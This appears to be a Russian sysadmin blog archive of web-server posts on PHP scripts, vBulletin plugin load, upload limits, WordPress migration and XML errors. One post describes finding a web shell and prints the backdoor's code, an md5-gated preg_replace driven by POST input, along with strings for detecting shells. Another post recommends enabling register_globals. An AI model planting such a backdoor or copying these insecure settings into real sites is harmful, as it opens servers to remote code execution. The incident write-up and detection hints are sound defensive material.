Архивы по Категориям: Веб-сервер

Внешний IP адрес

Очень часто приходится работать в разных местах, поэтому не редко приходится узнавать свой внешний IP адрес с помощью всяких whatismyip.com

Очень хотелось что-то простое, быстрое, и для консоли. Подумав и погуглив, я написал совсем простой скрипт на php с использованием socket`ов

#!/usr/bin/env php

<?php

$socket = stream_socket_server(«tcp://0.0.0.0:23″, $errno, $errstr);

if (!$socket) {
die(«$errstr ($errno)\n»);
}

while ($connect = stream_socket_accept($socket, -1)) {
$ip=stream_socket_get_name($connect,true);
$ip=explode(«:»,$ip);
fwrite($connect, $ip[0]);
fclose($connect);
}

?>

Теперь сервер, при коннекте telnet клиента на стандартный 23 порт, выдает ему его же внешний IP. Просто, изящно, но тупо.

На написание (да чего уж там, основную часть я выдрал в наглую) меня вдохновила статья на хабре

http://habrahabr.ru/company/ifree/blog/209864/

Стоит отметить, что для не stream_socket, а обычных, выдается ошибка  »Transport endpoint is not connected in», которую я так и не смог побороть.

goldbrick и vBulletin

Случилось так, что мне на руки попал достаточно посещаемый форум. Но после переноса с одного сервера на другой, он постоянно загружал сервер. Путем нехитрых манипуляций с iotop (так как нагрузка шла именно на диск), было выявлено что плагин отвечающий за добавление изображение/медиафайлов и прочей шушеры, под названием GoldBrick выдавал тонну файлов в директорию Zend cache.

Отключив опцию Zend cache, которая кстати доступна в админке самого плагина, я думал что все будет хорошо и проблема исчезнет. Ан нет, теперь вместо нагрузки на диск, появилась огромная нагрузка на mysql.

Недолго думая и просмотрев статистику запросов в Mysql, было отмечено большое количество запросов вида «SELECT * FROM gb_cache where hash=» «. То есть опять таки, этот негодный плагин издевался на сервером Mysql, выдавая кучу таких запросов при каждом обращении к страницам форума. Конечно, сам форум vBulletin ни разу не блещет толковым кодом для работы с Mysql, ибо для генерации одной странички запрашивает базу более 15 раз, а если в посте находятся множество аттачей, то это число возрастает очень сильно, так как каждый аттач добавляет еще более 15 запросов + кривые скрипты для быстрого ответа. Ну да хрен с ним с vBulletin.

Для решения пустых запросов к БД, пришлось немножко подредактировать «класс» goldbrick, а именно в файле goldbrick/includes/class_goldbrick.php, необходимо было ввести лишь одну дополнительную проверку в функции check_existing.

сменив

return $this->registry->db->query_first(»
SELECT * FROM » . TABLE_PREFIX . «gb_cache WHERE hash = ‘$uniques’»);

на

if ($uniques!=»") {

return $this->registry->db->query_first(»
SELECT * FROM » . TABLE_PREFIX . «gb_cache WHERE hash = ‘$uniques’»);

}

Ведь в случае если cache отключен, переменной $uniques (формирование уникального ID для hash кэша) быть просто не может, но для каждой страницы он упорно пытался его достать из базы.

В сухом остатке, был uptime ~ 25, стал 2-3. Такие дела.

 

 

Троянский конь. шелл на сайте

При переносе сайтов, случайно наткнулся на странные строки в логах, при обращении к одному из доменов.

Строка была вида:
File does not exist: путьксайту/AFQjCNHnh8RttFI3VMrBddYw6rngKz7KEA

Меня заинтересовала откуда такой запрос вообще может быть.
Начал копать, нашел интересные вещи, а именно :

Описание парня с Украины (http://vk.com/notes39605750), который описывал что нашел странный файл на сайте.
Кроме того, это цифробуквенное сочетание использовалось в одном интересном файле http://ideone.com/fOKz4V (по всей видимости управляющий или заливающий это говно файл)
Также код встречается тут http://pastebin.com/QCZ25nqF .
Посмотрев внимательно на сайт, я видел что там кучка файлов… с содержимым отсюда : http://pastebin.com/QCZ25nqF.
Замечательно подумал я, меня поломали, но как?
После того как я убрал файлы php c кодом (http://pastebin.com/QCZ25nqF), начали запросы на подбор пароля ftp этого пользователя (у которого сайт). поскольку они не увенчались успехом, я стал дальше мониторить ситуацию (хотя меня смутило что подбор осуществлять сам мой сервер!). И тут я наткнулся на еще один странный файл php (лежал в папке с картинками) с содержимым вида:

if (md5($_POST['p']) == ’15ab5b551217a532506f5ed95d005a1a’) {
preg_replace($_POST['v1'], $_POST['v2'], $_POST['v3']); }

Вот такая штука ко мне пришла:
rdot.org/forum/showthread.php?t=1085

Пришла эта штука ко мне не сама, а ее по всей видимости залили с сайтом, так время первого вхождения такого файла совпадает с временем размещения. Но возможно это произошло и потом. Причиной появления шелла, явился плагин ckeditor с кривой функцией upload.

Чтобы проверить сайт на шеллы пришлось изучить тьму файлов.
Часто встречающиеся функции и переменные, по которым можно поймать шелл:

свои функции php — php_display($remote)
функции js — eval(function(p,a,c,k,e,d)
добавленные в самый конец js-файлов — document.write
переменные вида — $auth_pass=
файлы с обращением к function_exists(‘file_put_contents’) и кучей дерьма вида x00\x00\x00\x00\x00\x00\x10\
файлы с for($o=0,$e=’&\’()*+,-.:]^_`{|,,,|-((.(*,|)`)&(_(*,+)` и далее по тексту

Uploadify IO error 2038 http 412/413

Есть такой замечательный скрипт мульти-загрузки файликов на сервер uploadify.

Поставил его, вроде все работает. Однако, на больших файлах (более 10 Мбайт, а надо было 25) стала проявлятся ошибка. Файлики не закачивались.

После муторного просева гугла, выяснилос: необходимо прописать в файлике .htaccess такие параметры:

php_value post_max_size 35M

php_value upload_max_filesize 25M

php_value max_execution_time 600

php_value max_input_time 600

php_value memory_limit 128M

Иногда не срабатывает, потому как .htaccess должен лежать в папке с .swf  файлом, а еще лучше прописать в php.ini

С другой стороны, хотя ошибка #2038 (http 412) исчезла, появилась другая — http 413.

Эта проблема уже относится к вебсерверу:

в apache необходимо прописать

LimitRequestBody 25242880

Но у меня стоял еще nginx в качестве frontend, поэтому там необходимо было прописать:

client_max_body_size 25m;

proxy_send_timeout 120;

Теперь вроде все работает. mod_secure на который ссылаются многие по этой теме совершенно не причем.

Сайты проверки доступности сайта

Пусть пока здесь полежит.

http://just-ping.com
http://pr-cy.ru/speed_test
http://webo.in
http://Site-Perf.com/
http://tools.pingdom.com/fpt/

host-tracker.com

http://ping-admin.ru/free_test

xml и 500 error

В процессе создания одного портала, столкнулся с интересной бедой, которая выпала на мой сервер неожиданно. Когда создали sitemap.xml, оказалось что никому этот файл не доступен, хотя и присутствует на сервере. Сервер отвечал браузеру 500 ошибкой (Error) ссылаясь на какой-то дикий допотопный баг Netscape. Очень долго думая, я пришел к выводу что проблема все-таки не в сервере Apache, а проблема в интерпретаторе xml. В файле mod_php.conf я не обнаружил записи xml, и быстро это исправил.

Однако, не тут то было, даже с этой записью вылетала 500 ошибка…. В интернете информации не было, пришлось включать все возможные логи, чтобы докопаться до сути. В итоге в логе php, была найдена ошибка syntax error unexpected t_string для файла xml в первой строке. Пошарив в гугле, обнаружил что такая беда случается, если включена опция short_tags в настройках php. Так как, в этом случае php являсь обработчиком xml, думает что строка

<?xml version="1.0" encoding="UTF-8"?>

Является скриптом php, а не разметкой xml. Решение проблемы может быть разным. Отключить short_tags, но тогда некоторые движки с корявым кодингом будут сыпать ошибками.

При включенном short_tags можно решить проблему написав вместо

<?xml version=»1.0″?>

так:

<<?= ‘?’; ?>xml version=»1.0″<?= ‘?’; ?>>

Однако, есть более простое решение проблемы. Отправлять заголово с помощью php:

<?php
header("Content-Type: application/xml");
echo '<?xml version="1.0" encoding="UTF-8"?>';
?>

можно даже rewrite правило написать…. если хочется.

У вас недостаточно полномочий для доступа к этой странице

После переноса нескольких доменов с wordpress на борту, столкнулся с проблемой отсутствия доступа к админке. После ввода логина и пароля, вордпресс выдавал «У вас недостаточно полномочий для доступа к этой странице».

Чтобы решить это проблему, стал шустрить в интернет, и нашел замечательное описание проблемы — http://blogproblog.com/u-vas-nedostatochno-polnomochij-dlya-dostupa-k-etoj-stranice/

Из предложенных вариантов, мне помогли SQL-команды:

UPDATE `prefix_usermeta` SET `meta_key` = REPLACE( `meta_key` , 'wp_', 'prefix_' );
UPDATE `prefix_options` SET `option_name` = 'prefix_user_roles' WHERE `option_name` ='wp_user_roles' AND `blog_id` =0;

Поскольку при переносе сайтов, я менял префиксы таблиц для каждого сайта.

Изменение же констант AUTH_KEY, SECURE_AUTH_KEY, LOGGED_IN_KEY и NONCE_KEY в wp-config.php, не приводило ни к каким изменениям, кроме сброса со страницы админки на форму ввода логина и пароля админки.

Cookietracking или ошибка 500

Немного подстаривая апач, который имеет по умолчанию кучу включенных модулей, встретился с ошибкой в логах Invalid command «cookietracking». Ошибка проявлялась в том, что виртуальный сайт не откликался, а получал ошибку 500.

Лечится это путем включения модуля usertrack_module в основном конфигурационном файле апача. Для большинства простых сайтов этот модуль не нужен, а вот для некоторых плагинов wordpress необходима.

squid

В прокси-сервере squid, если им кто-то еще до сих пор пользуется. Не часто, но возникает такая вот ошибка:

ERROR
The requested URL could not be retrieved

While trying to retrieve the URL: /tips/sml/

The following error was encountered:

* Invalid URL

Читать далее »

Psychostats 3.1

Проблема  с некорректным отображением статистики карты в Explorer решается просто:

в файлике /themes/default/css/content.css

#ps-container .ps-table

ставим width: 98% вместо 100%

PHP и GD2

Любителям издевательств над своим мозгом посвящается.

Библиотеку работы с графикой GD2 используют многие движки. Однако, иногда бывает так, что эта библиотека по каким-либо причинам не работает. Я столкнулся с такой проблемой на Slackware 13.0. По умолчанию я не ставил пакеты из директории X (по идее они и не нужны для создания чисто консольных серверов), и потому (как я уже потом понял) уперся в достаточно распространенную ошибку PHP Fatal error: Call to undefined function imagecreatetruecolor(). Читать далее »

Register_globals опять грабли

Начиная с PHP 4.2, параметр Register_globals по умолчанию находится в выключенном состоянии. Часто это проявляется когда хочешь передать что-то запросом GET скрипту на PHP. Переменные в этом случае не передаются, и можно долго тупить ища проблему там где ее нет, т.е. в коде. Безусловно, отключение глобальных переменных дает возможность обеспечить более современной защитой веб-приложения на сервере. Но все таки, для быстрой работы, грубо говоря песочницы, иногда необходимо чтобы этот параметр был включен. Чтобы не нарушать безопасность всего сервера, можно включить этот параметр в файлике .htaccess с помощью нехитрой строки:
php_flag register_globals on
и для директории в которой он (созданный файлик) находится, параметр будет работать как в старые добрые времена.
PS. Чтобы включить везде эту штуку, правим файл php.ini.

более подробно тут: http://ru.php.net/manual/en/ini.core.php#ini.register-globals